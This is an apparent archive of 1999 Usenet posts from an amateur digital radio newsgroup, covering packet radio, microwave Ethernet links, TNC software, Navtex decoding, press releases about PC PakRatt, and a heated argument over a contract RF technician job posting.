Fax: (940) 566-2544
Internet: tapr@tapr.org

Visa/Mastercard Accepted

Who?
PACK*BASH is co-sponsored by TAPR -- the national leader in
digital communication -- and the Miami Valley FM Association,
Dayton's packet radio club.

For more information (including maps), go to
http://www.tapr.org/tapr/html/dayton.html, or send email to
tapr@tapr.org.

You can request information via packet radio at
BASH@W8APR.#DAY.OH.USA.NOAM

64000 bytes per second and "fairly simple circuit".
Hmmmmmmmmmmmmmmmmmmmmmm..... My answer is buy a
pre-made video transmisiion system. The cheapest one is 89.00, so you
will have to save another $40, but the time and effort it will save you
will be worth it. The ASK2000 is at matco for 89 and the Wavecom Jr is
around $140. Good luck! As a bonus, each has a left and right audio
input
on the transmitter and left and right audio out on the receiver - a
place
to transmit your remote control.

Give them a speech on Quantum Physics while you're at it :-)

DSP (Digital Signal Processing)

Slide 1

Discuss frequency generation using Numerically Controlled Oscillators (NCO's)
Have a simple example of a 16 bit accumulator which rolls over every 65,536
counts. "If you add any number 65,536 times a second, each unit you add
represents 1 Hz. To get a 10 kHz output, add 10,000 at each step. Each
output cycle would have just over 6.5 steps in it." The quote is from Circuit
Cellar INK magazine (Oct 98) which has a neat design that uses a 16C54 PIC
chip tied to an inexpensive DAC (Digital to Analog converter).

Basically you send a digital word representing a sine-wave amplitude to a
DAC which outputs a sine-wave that has been filtered. A programmable
oscillator that is much cleaner than a PLL (Phase Lock Loop).

Slide 2

Discuss an IF of say 30 MHz which is produced by mixing the 1st IF of a receiver
with a Local Oscillator (LO) that has both an I (In-Phase) and a Q (Quadrature Phase)
mixers. The Q channel has a 90 degree phase shift compared to the I channel.
Using two ADC's (Analog to Digital Converter's) which samples the input at a
variable rate determined by an NCO (say 60 - 90 MHz), and produces two digital channels
that are passed through a Digital Filter, and then passed to a Fast Fourier Transform.
The FFT can be considered an analog equivalent of an Audio Spectrum Analyzer.

Research the two areas above and fill in the blanks. You should be able to use any ARRL
handbook from 1987 onward.

Not aware that the bundled software was TX inhibited, I already
had the Baycomm software taken from the HAM RADIO CD ROM in operation
and my Watson worked fine on VHF (DX Cluster) with that.
Must check the bundled software.

If you search on amateur radio slow scan I believe that
you will discover that you can do slow scan essentially
free.

There is some freeware out there that will allow you to do
slow scan through your Soundblaster sound card ...
or so I am told.

Sure would appreciate you sharing what you learn ...

In article <7cmbq9$n71$1@nnrp1.dejanews.com>, It was written:
>> Not really. Evidently you never heard of W4EBG back in the
>> 50's-60's

Wow! That call sign brings back a bunch of memories. I used to hear that guy on night after night in the mid sixties on or around 3850. He formed the nucleus of the same programming format which can be heard on 14.313 during the day and on several frequencies on 80 meters at night. In the sixties, the big racket was the sidebanders against the AM users. W4egb, who went by the name of Kahn or maybe Con which is what it sounded like lived in Paduka, KY and had a fabulous signal almost any night. He ran the full gallon and maybe a bit more for all I know on 80 and was, to say the least, a character. Just as is the case today, he and a large group of folks would feed on each other's pathology and scream insults, jam, and curse one another as long as propagation and the blood ethyl alcohol contents allowed them to transmit. Maybe somebody is familiar with the details, but I just remember hearing W4EBG and hearing about him around 1965 when I got a short wave receiver and began listening to ham radio. Just as now, the comments were pretty much the same such as, "Can't somebody do something?" "Man! such language!", etc.

I can't remember a time when there hasn't been a bunch of hot-heads hanging out on one or two frequencies on 80 after dark and making lots of noise.

I'm not even sure there is more of it today, but it seems to go on longer but I wouldn't swear to even that.

It takes at least two to tango and none of these famous or rather infamous souls would have gotten the notoriety they have gotten without others to fan the flames. Last weekend, I was listening to an almost sensible QSO on 14.313 when somebody started up the anonymous cat calling and whispering of obscenities. The two people who were having the QSO said not one single word about the racket and the whisperer finally got tired and went back to telemarketting or whatever it is he does when not on the air. I think that's the secret to stopping a lot of that stuff. Silence is a show-stopper for the weirdos because they can't gauge their audience and are not even sure they have one. Nobody likes to play to an empty house.

Well, you'll need a unix/linux server with a good solid connection to the internet... people can access your mud/moo through the telnet port on packet gateways or through the internet. I would NOT recommend this activity on packet gateways or setting one up for sole use on a packet gateway because it tends to clog up the waves... on a heavily used gateway/node, the operator will become perturbed if you clog up the band playing games- it's a bad idea. I've set one up for private use amongst me and some friends of mine, but over the internet only... packet is still a busy thing around here, and bandwidth is at a premium where the internet gateways are. You can find more about setting up a mud in the usenet newsgroup: rec.games.mud.admin but I would only recommend setting this up for use on the internet... the packet space in the 2 meter band area at least still doesn't have much room for playing games. Also, leaving a unix/linux server open over the air where passwords can be snatched by a simple MONITOR ON is a bad idea... I'd stick with BBSing, and packet DXing for now... but having a high traffic (believe me, even though it's only text, a LOT goes in and out) game stealing bandwidth is only a sure bet to annoy your peers.

Amateurs? No.

It isn't cost-effective. What would you do with that much bandwidth
if you had it? Run an AX.25 BBS?

Look into Spread Spectrum radios. While the bit-rate is lower, the
dollar per byte is much much more cost-effective.

It's called "Ethernet" by the way.

Well, I'll pass on offering an opinion on whether or not
playing games is a good use of bandwidth, but there is a very easy way
around the password problem - use s/key. s/key is a system of
one-time passwords, and it's quite easy to turn on in Linux. There
are clients for most every OS ever made (I even have one on my Palm
Pilot). Passwords are sent as clear text, but they're good for one
use only. The next time you log in, you use a different password.
Anybody stealing your password gains nothing.

LavoiedNOSPAM@iSTAR.ca says...

> What if someone was to use spread spectrum? It's legal yet 99.99% of
> amateur radio operators can't copy spread spectrum.

SS would do a fairly effective job of securing transmissions, I
would think. The problem is that there is very little (none?) SS
equipment generally available on the open market, so unless you wanted to
do it all yourself, it would be cumbersome. Also, if you don't get a
waiver, you have to use 23 cm or higher wavelength, and document each
transmission and save the records for a year.
A neat idea, but I think not quite ready for prime time.

Adam, KM5SS

1608. Kyodo/RCA TAC310SX Eprom and 9K6 mods?

Newsgroup: rec.radio.amateur.digital.misc

Is there anyone out there that has burned the Eprom images for the TAC310Sx radio? I would like to find out more on how the tone boards are interfaced. I have been successful burning new frequency channels on the 2732A if anyone needs the info.

I would also like to get these radios converted to 9K6 since they are true fm. I did hear that there is a challenge on the xmit side in the PLL circuit. Once again I am interested in anyone's input.

> if you had it? Run an AX.25 BBS?
>

10-megabit Ethernet is a fast, ubiquitous, and dirt-cheap connectivity
standard. A generalized solution for wireless communication at 10
megabits would enable you to leverage the mass-produced hardware and
software support that's available for every computing platform worth
mentioning.

I'm in the process of setting up a link between my residence and office
-- a couple hundred feet across a parking lot -- using X-band
Gunnplexers. It's basically working as a one-way system at this point,
just need to finish off the second transceiver. All in all, a fun R&D
project, not all that expensive, but time constraints and a few blind
alleys have meant that it's taken me about 6 months to get this far. :)

> Look into Spread Spectrum radios. While the bit-rate is lower, the
> dollar per byte is much much more cost-effective.

There are some new 2.4 GHz consumer-grade products (see
http://www.diamondmm.com) that appear workable over very short distances
in the 1-2 megabit range. However, they are not necessarily all that
cheap, and are not "transparent" industry-standard Ethernet
transceivers, the way a microwave link can be.

Once my design is ironed out, I imagine it could be duplicated for less
than $400 with all-new parts. It is actually simpler than the N6GN
2-megabit design in several respects. The X-band Gunnplexers, for
instance, are less than $100 apiece, and they're the most expensive
parts you need, by a factor of almost 10X.

In short, for the same money, why not go for a faster and more general
solution over a slower, more constrained one?

OK, so we're talking about 10 Mbps microwave communications.

>I'm in the process of setting up a link between my residence and office

A Gunnplexer has a Gunn and a Varactor in the oscillator. Is that what
you have? Without the varactor it isn't a Gunplexer.

Proxim Symphony cards are about $120 each, and produce 100 mW,
which is usually the high-end power of most Gunnplexers. An Antenna
will run $70 each. The range with a 21 dB gain antenna at each end
will be greater than a Gunn oscillator.

Well, let's look at the math. Your solution (estimate):

2 * 400 + 2 * 15 = $830 or $ .0000830 per bit

The Spread Spectrum Solution (estimate):

2 * 120 + 2 * 70 = $380 or $ .0002375 per bit

Yep, you're the winner.

By spending $830 you will be more cost effective than spending $380,
by about triple, for two systems with about the same range (@500 ft).

I was wrong.

How do you propose to solve the temperature stabilization/ frequency
drift problem, inherent with Gunn oscillators?

Steve

The units I'm playing with (available from http://www.shfmicro.com) are really nice. They're MA/COM 5-milliwatt jobs with the Gunn diode, varactor diode, and mixer in one package. For the power-hungry a 100 mW Gunn diode can be substituted, although they're expensive ($60/unit) and need a negative supply. (They actually aren't referred to as "Gunnplexers" in the literature, even though that's what they are. Guess it's an obsolete term at this point.)

At first I bought a couple of the smaller and cheaper K-band parts, which are otherwise similar to the X-band devices, but I wasn't able to get a strong-enough signal through my office's plate-glass window and across the parking lot with them.

You can bias-push the Gunn diodes to tune the cheaper transceiver modules, but people who have done this report marginal results at data rates above 2 Mb/second. It doesn't seem like a good idea to try to use the cheap varactor-less devices at higher data rates.

Could very well be. Do those cards act like genuine TCP/IP-compatible NICs, though? Some of the cheaper consumer wireless-LAN cards use a completely proprietary protocol, which didn't interest me. In my case we have an existing 10/100 megabit LAN at the office that I want to tap into, for general file-sharing and Internet access purposes. I need the machine at home to be indistinguishable from the ones on the LAN at work.

Sorry, I meant to say $400 *total*. The X-band Gunnplexers are $90 each. Figure $6 apiece for the '13155 and '10116 parts plus $30 or so for a pair of Mini-Circuits LP/HP filters and MMICs for the IF strip. The rest of the $200/station would go to miscellaneous parts and hardware, mostly avoidable if you have anything resembling a decent junk collection.

Unfortunately I have noticed that hubs and NICs with AUI ports are getting a little rarer as time goes by. Usually the more expensive ones have them, but not the lowest-end models. I had to buy a 16-port hub to get an AUI jack, for about $150 at CompUSA.

In the final analysis of course you're right -- it's almost never cost-effective to hand-build *anything* these days, even if your time is worth nothing. You have to have other motivations.

As far as DX goes, the Gunnplexers will go a heck of a lot farther than 500 feet, with a little more work on the antenna side of things. 21 dB of gain is much easier to achieve at 10 GHz than 2.4 GHz, for instance. (Although you obviously have to factor in the S/N degradation due to the much-wider channel bandwidth required by 10-megabit FSK.) At any rate, over a clear path you would probably run into latency-related problems before you ran out of signal strength.

>
> I was wrong.
>
> How do you propose to solve the temperature stabilization/ frequency
> drift problem, inherent with Gunn oscillators?

Well, if you say "damn the bandwidth" and use naive 2-level FSK signalling, which I am, you end up working with a channel bandwidth well in excess of 20-30 MHz each way. In one test, I was able to de-tune the Gunn transmitter by 8 MHz before losing the ability to recover the Ethernet data, or even seeing a substantial drop in signal-to-noise performance. It is trivial to derive an AFC correction signal from the MC13155's quadrature detector, but the X-band MA/COM devices are reasonably stable to begin with. I've never seen them drift more than a couple MHz apart beyond initial warmup.

O.k. I admit... I'm still a couple steps below newbee. (infact I am still working on getting my tech license) however some of my primary interest is in digital communications.

I was wondering aside from a digital ready transciever such as the TH-D7A or the TM-V7A (yes both kenwoods I like what I have read, and heard about both of them so far) but assuming you have a digital communications ready radio, and a laptop... what other specialized components would be needed? special modems, adapters, etc.?

also... would it be legal to have a computer hooked up to a radio, and use that as a wireless network (presumably in the microwave bands where it is nice and directional) between two buildings if only one side was technically being manned by a ham?

Hi,

Just having upgraded to Linux 5.1 / 2.0.35 i am now Micro$oftless :))

but i would really like it if someone could recommend a Linux GUI
Packet program please ?
- i tried seyon, but it is'nt Packet specific, and it's er, not so good
:)

Thanks,
Mark

Hi,

Does anyone know of a X windows progam for NORMAL (user) ax25 packet please ?

i used seyon, but it would'nt store my TNC settings, and i found it impossible

to copy/paste for replies etc etc.

i am presently using Minicom in non-x mode. it's a real pain, especially when

the 7+ and FBB messs comes scrolling down the screen and screws up the terminal.

Like Winpack, but for Linux, i considered uning 'Wine' but am still very much

a Linux newbie as yet.

Hope someone can help please, Thanks...

Mark

Hi, I recently installed Linux on my other system and I am having trouble with X-windows.

It displays and comesx up but everything is huge. It's like I'm zoomed way in on the screen. What isnt configured correctly?

Thanx,

~Chris,KC8GOQ~

The problem may be that FreeBSD does without some of the special
kludges for slow terminals available through the c_oflag termios flag.
The purpose of the rejected defines referred to in Jeff's post is to
turn these off. I have therefore amended com.cpp to provide a default
define of 0 for these, which should do the same. It should compile ok
with that (I hope).

Chris.

Hello,

I'm interested in getting into APRS, if anyone can reccomend a cheap, but fully featured TNC for this task, can they please let me know. I have heard the KPC-3+ Is my best bet, but am not positive on that.

Much appreciated.

Any KPC 3 will work just great for APRS, the new one has some built in
features for other modes as well. I'll be getting a KPC-3+ later this year.

Can't help you with the specific topic. However, note that the unlicensed service does extend OUTSIDE of the allocated amateur band - so as a result, one has to follow one set of rules or another.

There is a web site in Canada that lists the various wireless lan equipment available (by frequency band) - but I can't find its address right now.

Chris

I think you've got 640x480 as default resolution.

You can use Ctrl-Alt-Keypad+ to increase resolution (hold down the
Ctrl and Alt keys, and hit the plus on the numeric keypad.
This will step you through the resolutions configured, lake 800x600,
1024x768 and 1280x1024.

Ctrl-Alt-Keypad- will decrease the resolution.

Hope this helps.

I recently acquired an LL Grace DSP-12 multi-mode controller,
including manual and power supply.

I am interested to know if there other users or perhaps a
user group?

Also interested to know if there is "terminal" software
available to use with it?

Also interested to know where I might find the latest
firmware for the unit?

Also interested to know if the "development" environment
included with some units is still available?

Also interested to find an A/D TLM option board.

etc...

1637. Navtex

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-03-22 00:00:00 UTC
From: Jim Ingram <ingramja@sbu.ac.uk>
Message-ID: <36F64F0D.4BCEB390@sbu.ac.uk>
Source record: 18893

Firstly I should point out that I'm not into amateur radio and no virtualy nothing about the subject (especially jargon - what does USB stand for). I was thinking of trying to use a pc to decode navtex transmissions on a yatch as an alternative to buying an off the shelf system. I know there is software which will decode it (Hamcomm, jvfax?) and that it transmits on 518kHz. The problem is the only type of radio recievers and bands I'm familiar with are the ones you get radio 4 etc on. Is it possible to modify a normal Medium wave receiver to receive the signal or does anyone have a circuit diagram to home-build one etc. Also the info I have readtalks about passing the recieved signals through a de-modulator. In a normal household radio receiver the signals (at least on am) are (correct me if I'm wrong) demodulated in the radio and the outputed as a audio signal. Are the signals recieved from satalites etc recieved and demodulated in the receiver before being sent as audio to the computer or is it the actual received signal.

Somewhat confused

Jim

Source record: 18894

Brian,

I own two and have used them for about three years, with great success. I know of no group. There are a few individuals both here (U.S.A.) and in England that really seem to understand the units and usually respond to requests for help. The available software can be found at: http://www.amsat.org

Use any terminal program including Hyper terminal - built in to Windows95-98- and select the serial port and modem to computer baud rate and you should be in business. At startup the unit displays it's logon screen and menu of modems and applications and if you're connected you should be able to respond. By the way "Q" brings up the main menu from any screen and it accepts the standard TNC jargon so you can type "mycall" and it should return your call or whatever has been input to that value. From the main menu select any modem you want to work with like 1200 baud packet (B) and when that modem screen comes up typw "DI" to display the various screens of values which you can cahnge, etc.. I would assume you'd begin with the configuration screen and begin to shape the unit for your system/needs etc.

Unfortunately we're packing to leave for our farm later today and we'll be there six months, I do maintain e-mail contacts but I'm not active on the satellites after today and I'll be away from my library of manuals and information. In other words I won't be available to follow through with you. I suggest you try John Emrich at LL Grace. He still makes the Kansas City Tracker / Tuner and may still have the DSP-12 Development materials or the 1 meg upgrades that were essential for that purpose. He no longer supports the DSP-12 but you never know what information he might be willing to share.

Hope this helps and I'm sorry about not being available.

Hi Jim --can't answer your question directly -- but suggest you read the
NAVTEK web pages at URL:
http://www.ac6v.com/pagew.html#NAVTEX
If you haven't seen them.

As to jargon, USB=Upper sideband modulation. See URL:
http://www.ac6v.com/pagew.html#MD

Hope this helps.

Yep you sure are. :)

But so was I and everyone else before they got into it.

Read the "Digital FAQ" at WUN's (Worldwide Utility News) site.

Here's the home page:
http://www.gem.net/~berri/wun/

And here's the faq page:
http://www.gem.net/~berri/wun/files/digfaq/signals.html

The site has all the info you need,and ALOT more, to become familiar with
digital trans.The "HAM" digital trans are just the tip of the iceberg &
don't have alot to do with the rest of digital trans through-out the hf
band.

Kantronics Kam Plus HF/VHF Dual-Port Multi-mode data modem, in mint condition. Has v8.0P firmware.

Includes 2 radio cables (One is a MFJ cable, pre-wired for Kenwood (I think) and the other is the original cable that came with the KAM Plus, which I've wired for Yaesu 5-pin DIN connector - you can rewire it in minutes for your rig if necessary), serial cable, manuals and a RadioShack 12v wall-wart power supply. Software is not included.

Price is $200 plus $5 UPS shipping/insurance.

May consider trade for late model dual-band H/T (FT-50R, etc.)

E-mail if interested.

I have been using PC Packratt for windows v2.0a since I started with log windows with great success. I like the way it integrates with Log Windows and the way you can run digital modes and DX cluster at the same time with a PK2232. But... Just for fun I tried running Packratt on my computer with the time set for 1/1/2000 and the program came up with some (bad arguments for date). Although this did not disable the program I was wondering if anyone knows who might be supporting PC Packratt and if anyone still does, if there is any plan for Y2K fixes.

Any information would be appreciated.

Hi,

I have just acquired a Bird "RF Power Analyst" Model 4391, which seems to be a hi-tech version of the famous Bird "Thruline" power meter. Does anyone have an operator's manual for this device that they could either copy, scan or loan for copying? Any info, etc., gratefully received, e-mail replies preferred. (I have checked the Bird Web site and I don't think this model is in their current catalogue, although I'll be contacting them about a manual).

Thanks,

Roger Basford

Mark, try looking over the Linux Ham-HOWTO. It's a couple years out of
date, but may be helpful. There's a copy at
http://www.spade.com/linux/howto/HAM-HOWTO.html

Good luck!

1649. Terminal Programs for WinCE?

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-03-23 00:00:00 UTC
From: "John K. Scoggin, Jr." <scoggin@conectiv.com>
Message-ID: <7d9ac8$msp@butthead.delmarva.com>
Source record: 18905

I was looking at the variety of WinCE machines at CompUSA last weekend.
They look like
they might be quite adequate for mobile/portable packet and Pactor usage.

Does anyone know of a terminal program for a Kantronics TNC that will run
under WinCE
(other than something like HyperTerm :-)?

My employer, Lucent Technologies, is looking for a Senior RF Technican
with the following abilites and experience:

Senior RF Technician Job Description

1. Ability to read schematics.
2. Ability to solder, including small surface mount devices,
and build up RF, analog, and digital circuits in both prototype
and "small lot production" environments.
3. Able to operate various equipment including oscilloscopes,
voltmeters, spectrum analyzers, and RF generators.
4. Familiar with RF design principles and RF test methods for
return loss, transmission loss, output power, matching and RF grounding.
5. Ability to troubleshoot RF circuitry down to the component level.
6. Perform testing of products based upon a starting point provided
by RF engineer.
7. PC competency using word processing and spreadsheets, good
communication and documentation skills required.
8. Responsible for management of engineering lab, including
ordering/stocking of components and lab accessories.
9. Two years minimum previous experience as RF Technician

Location: Allentown, PA

This will *probably* be a 6 month contract position initially, with
renewal or conversion to permanent, direct employment likely
for the right individual.

If you're interested in working with modern digital radio equipment
in a design and development environment, please e-mail me your
resume ASAP. (MS Word or .pdf format preferred, though plain
ASCII, MS Works, or WordPerfect formats cana be handled as well.)

6 Month Contract?? No thanks.
"Temp" or "contract" jobs are for suckers.
I've been there and I'd rather swamp toilets then play the
"Oh, just a few more weeks and Human Resources will get to you!
Honest we're going to hire you in just a few more days!" game.

I can't say about your specific company-- maybe you're the
rare exception that is being straight with prospective employees--
but I've seen companies "dangle the carrot" in front people
while treating them like dirt over and over again.
It's counter-productive and it's immoral. And you have
no rights when you're a "contractor." Employers can do
whatever they please to you, no matter how despicable,
and you can do exactly -nothing- about it.

No RF tech worth his soldering iron is going to put up with it
for very long. How long would YOU work with no medical
insurance for you kids, hmmmm??

Good RF techs who know their stuff and will COME TO WORK and
WORK when they get there are getting *really* tough to find.
Yes, companies can get people who know how to change parts
and just "meat-grinder" them-- sure costs alot
to do that and not much gets fixed, but they can do it.

I'm a darn fine RF tech and I've been a manager working
the very best techs walking the planet, IMHO ;-).
I wouldn't take a "contract" position on a bet,
and I don't think any of my people would have either.
Either pony up the money for wages and benies
or go get yourself a 22-year-old tech school grad who comes
to work about 3 days a week, 2 of which he spends on the phone.

Oh come on now...

David Stinson wrote
>
>6 Month Contract?? No thanks.
>"Temp" or "contract" jobs are for suckers.

For a person who has a steady income from an earlier retirement
(I retired at 40), and only wants to work part time in various fields,
it is a good way to stay busy and interested.

>I've been there and I'd rather swamp toilets then play the
>"Oh, just a few more weeks and Human Resources will get to you!
>Honest we're going to hire you in just a few more days!" game.

Just send the resume and the cover letter, and forget about it.
If they call, and you're busy, tell them tough luck. Why worry,
be happy...

>It's counter-productive and it's immoral. And you have
>no rights when you're a "contractor." Employers can do
>whatever they please to you, no matter how despicable,
>and you can do exactly -nothing- about it.

On the other hand, you don't have to put up with all the
company crap. You come in, do the work, go home. No
additional duties.

>No RF tech worth his soldering iron is going to put up with it
>for very long. How long would YOU work with no medical
>insurance for you kids, hmmmm??

What a crock. How do you think people who build homes
all their life get by? They'd love to get a 6 month contract.
One contract leads to another. If not, you go to work at 7-11
until the next one comes up.

>I wouldn't take a "contract" position on a bet,
>and I don't think any of my people would have either.

Who cares.

>Either pony up the money for wages and benies
>or go get yourself a 22-year-old tech school grad who comes
>to work about 3 days a week, 2 of which he spends on the phone.

Go tell em! Boy, they're gonna change their ways now!!

Carl, I shouldn't have unloaded on you.
I regretted it as soon as I hit the "send" key.

I've watched several old friends, middlin' to good techs,
get done this way over the last five years.
I could tell you some horror stories.
Broke my heart. One fellow's self-confidence
got worse and worse each time until he finally decided
that, if he couldn't take proper care of his family
then he didn't have a reason to keep living.
So I guess it's a hot button of mine.

That's no excuse for unloading at your doorstep.
Please accept my apoligy for letting my heart
overrule my head tonight.

1655. Press Release: Pc PakRatt program acquired by Creative Services Software.

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-03-23 00:00:00 UTC
From: Rick Ruhl <ricker@cssincorp.com>
Message-ID: <#Cu17Hbd#GA.327@upnetnews02.moswest.msn.net>
Source record: 18911

CSS acquires PC PakRatt program for AEA/Timewave TNC's

Muscle Shoals, Alabama. March 23, 1999:

Creative Services Software, Inc announced today it has acquired all rights and source code to the TNC product PC PakRatt 2.0 for Windows 3.1, PC PakRatt for DOS and PC PakRatt Lite for DOS.

Rick Ruhl, N4GDO, President of Creative Services Software, Inc said, "This is the next step we wanted to take to provide high quality software to the amateur radio community. The acquisition of this product expands our product line to the Windows 3.1 and DOS market, and makes it much more efficient to port the product to the Macintosh and Linux platforms".

Creative Services Software, Inc produces 32 bit Windows products for Kantronics, Timewave and MFJ TNC's, and will be adding HAL and SCS to the supported lineup.

"One of our main goals is to address any Y2K issues in the PacRatt product while we port it to the Kantronics and MFJ lines.", Ruhl said. "We'll also be moving much of the code to the 32 bit line, so we can increase functionality and features of the current products".

Creative Services Software, Inc was incorporated in 1988 and has been providing 32 bit software to the amateur radio community since 1997. The successful Pacterm '98 and PK-Term '99 are the staples of CSS's software products.

Creative Services Software is at http://www.cssincorp.com.

Windows, Windows 95 and Windows NT are Registered Trademarks of Microsoft Corporation

Is this the Don Miller who was involved in SSTV?? If so, he is at home in Waldron, Indiana. He is currently associated with the operation and production of a company manufacturing ATV gear. I don't recall the call of the Don Miller I knew as a kid in Indiana, but it was the W9 call, and his wife was a Ham also. He was the one who got me interested in Ham Radio in the 60's because of a field trip to his house, and then we went to the Shack, and he worked an Australian station on SSTV, and exchanged a picture of our club with the Aussie Ham. Hope this helps. If more is needed, I will research it for you.

I have got *nothing* against Linux, in fact I am running Linux since 1992.

But I am a proponent of on-topic usage of newsgroups. The question had
absolutely nothing to do with amateur radio, and can better be asked on a
group dedicated to supporting Linux.

Not to be too simplistic - but - you accept a job in RF engineering. :)

RF engineering is a good field because most students are lured by the computer world. (Not as many RF people.) Having an amateur license will help, IF you also know and have been playing around with the circuits. The hard part is getting started without previous experience. Ham radio can give you that edge if you've been building your own stuff etc.

: I've been studying electrical engineering for four years
: now, and I'm starting to look ahead to entering the job market.

After four years, I'm sure you have already considered something along the lines of my first sentance. :)

A good first step;
Look in any issue of "RF Design" magazine. (Lots of job offers.) Their sit is; www.rfdesign.com

Yeah, I haven't started looking seriously yet, (I graduate in December)
but most of the ads that I see for engineers either ask for a) 2-5 years
experience or b) 3.5 or better gpa. Now, this may or may not be the
real story, but that's just what I've seen in the quick looks that I've
given the subject.

My senior project is to build an 80m cw transciever; so far, I've been
working on a crystal filter and a dds (w/a pic controller). In the near
future, I'd like to expand my microwaves course a bit and actually try
to communicate across my campus somehow in the 1.2GHz ham band w/some of
the other amateurs on campus. I might even take the spring semester
after I graduate to do some odd jobs on campus so I can bum around and
use the really nice test equipment we have here to experiment some and
further my knowledge of RF. I'm hoping these are good steps in the
right direction.

Aha! So Lucent is reduced to trolling for resumes on the newsgroups.
Don't they have a human resources department? Lucent is a very
fine company, you'd think they could do better than offer
contract employment to their beginning techs. I think it's time
to review my stock portfolio.

PacTerm ®98 to be sold and supported by Creative Services Software

Muscle Shoals, Alabama. March 24, 1999: Creative Services Software has announced that beginning in April 1, 1999 PacTerm ®98 will be sold and support by Creative Services Software.

Kantronics and CSS came to this decision based on the needs of the ham operator. The product will continue to be the recommended Windows 95, Windows 98 and Windows NT control program by Kantronics, but all support of the product will be done by Creative Services Software support staff. The program will still be available for purchase through Ham Radio dealers or directly from Creative Services Software. Kantronics will focus on hardware support of its top of the line TNC®s.

Bill Campbell, WD4HEN had joined CSS a Technical Support Specialist. Bill was first licensed in 1958 and has been a General Class since 1973.

The program is now available for downloading from the web at http://www.cssincorp.com/pacterm

PacTerm ®98 release 1.2.1A for Windows 95, Windows 98 and Windows NT host mode terminal program for the Kantronics® TNC®s takes advantage of the true multitasking capabilities of Windows 95, Windows 98 and Windows NT and uses standard Windows commands for ease of use.

Creative Services Software is at http://www.cssincorp.com.

Windows, Windows 95 and Windows NT are Registered Trademarks of Microsoft Corporation.

1673. Press Release: Timewave and CSS to release update to PC-PakRatt for Windows

PC PakRatt 2.1 for Windows 3.x planned for release

Popular 16 bit terminal program to have Y2K fixes.
ST. Paul, Minnesota and Florence, Alabama. March 24, 1999: Timewave and Creative Services Software announce that an update to PC PakRatt for Windows 3.x with fixes for the Y2K problem is planned for release in May, 1999.

The successful terminal program was purchased by CSS on March 23, 1999 and Timewave will continue to be the exclusive supplier of PC PakRatt for Windows 3.x. Timewave will continue to sell and support current and updated versions of the product.

Rick Ruhl, President of CSS said "I'm quite pleased that Timewave will continue with the product as it has in the past. Being the exclusive supplier of both PC PakRatt for Windows and PK-Term '99 gives the amateur radio operator a one-stop-shop for their software needs".

Timewave is on the web at http://www.timewave.com
Creative Services Software is at http://www.cssincorp.com

Probably too much! I've been learning some stuff though, and I have to ability to check in a few minutes--I have a unix box here in my office, which I can leave logged in, with Netscape running, with the ng's going, so whenever I pop in for a minute, a quick click and I have all the new posts. I can quickly scan (I simply erase all the ones I don't want to read) and then read the ones I want, and then go back to whatever.

I'm starting to catch up, but only after organizing my time a bit and working more. It's always an uphill battle.

When I was in college, it was always a choice between studying and
having sex. Actually, with Texas A&M being an all-male military
college in the 50s, there was no choice. :-)

Lucent isn't "trolling" ... I thought I might help a
fellow ham find an interesting, exciting job opportunity.

Sheesh ... like Hans said ... you'd complain if you were
hung with a new rope, wouldn't you?

Lucent's HR department IS working the opening. Like I
said, I just thought I'd try to help a fellow ham.

As for your stock portfolio, If you want to sell Lucent
stock, how many shares do you have to sell? I buy the
maximum allowable under the employee stock purchase plan
every month and all of my 401k goes into the stock fund.
(not to mention my options)

Mike ... the "ad" was for a tech, not an engineer ... and
because *good* techs are so hard to find, many companies
hire them through a contract agency for 3-6 months to see
how they work out before converting them to permanent
employees.

It gives BOTH sides a chance to see how things are going
to work out.

Carl,

What's the average starting wage for an RF tech at Lucent? Good techs may be hard to find, but it also seems that the average wage is rather low for a "high tech" position.

I realize that this is partially due to the fact that many techs are non-degreed, having gained their experience at a vo-tech school or through the military.

1686. How to get the most repeatable T/R turnaround?

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-03-25 00:00:00 UTC
From: lrbrandt@statestreet.com
Message-ID: <7deb0m$7eg$1@nnrp1.dejanews.com>
Source record: 18800

Hi All,

I need a XCVR (or separates) that can simply switch between
transmit and receive in a predictable manner.

What I mean is I have a timing critical application where
the T/R delay, whatever it is, is not important. As long as
the delay is constant, that's OK.

The delay needs to be constant within about 1us (.000001 sec).
I've thought of adding a "fudged" time, that is always making
it wait 2 secs or so, this large time would average out any
really small delay variations.

I need this accuracy so I can launch a packet that occurs
after detetion of a packet on another frequency.

(would FCC allow me to "rebroadcast" the signal, I don't
think so but hearing a signal and "repeating" it with your
call (SSID) would be OK.)

I expect a separate transmitter and receiver (on diff. freqs.)
would have the _least_ delay, but again, I need repeatable delay.

I guess a transmitter that uses a digital PTT (+5V on a pin somewhere)
vs a relay (hardware or solid-state) would work in a more repeatable
fashion, but I'll need to test some, I guess!

A way to test this is with existing dual band units. But I'm wondering
if there have been any tests done that can help in selecting a XCVR
for this.

Any ideas post and/or email me!

Tnx es 73,

AA1EA

Last night I was asked if a CW identification was
necessary following a PSK transmission or at least
every 10 minutes. I did not know the answer, but
I thought that the FCC had removed the requirement
on other digital modes, but I may well have just
dreamed that. What is the requirement?

. . . . . yo Squiggy-Poo . . .

While I'm unalterably opposed to your position(s) on the ham radio code tests and your techo-weirdo-geek elitist bullshit wrt to what ham radio would be like if you were Emperor I gotta go to bat for you on this one.

Your post was an honest and forthright annoucement of an available slot for some kindred RF-oriented ham to fill at Lucent. Where I come from that was a good deed.

Now lookit all the freaking flame and nit-picking bullshit.

I wouldn't actually wouldn't wish it on anybody, but what these ungrateful dweebs really need is their first pass thru a major economic downturn wherein they have no clue how they are gonna make the next payments on their new SUVs and their outlandish mortgages and forthwith complete their "educations".

It will be interesting to see how they react to posts like yours when that crap goes down . . it's gonna happen, we can put that in the bank right now.

. . from one very senior engineer who has been there to another . . .

Rick ... I'm honestly not sure ... I know that Lucent pays
well, but I did not ask my boss what the range was when I
suggested he allow me to "advertise" the opening to hams here.

If you're interested (assuming the rate is good), please send
me a resume via e-mail and I'll make a point of getting back
to you ASAP.

>In the time it took you to complain to the original poster and then
>reply to me, and seeing you are a seasond linux user, you probably
>could have answered the guy's question and been done with it.

But then the next guy would think that this practice is OK...
Besides, I don't have the exact distribution and version that he was
talking about, and the problem he mentioned was highly version-specific.
That is why it is better to ask in a community where many users of the
same system are present, and the same problem may have been seen before.

If you don't believe me, go to a comp.os.linux group and ask about
getting a G3RUH modem going with your favourite commercial FM trx.
(just to name an example)
Maybe you stumble across a ham that has done it, but more likely
you will get no useful response.

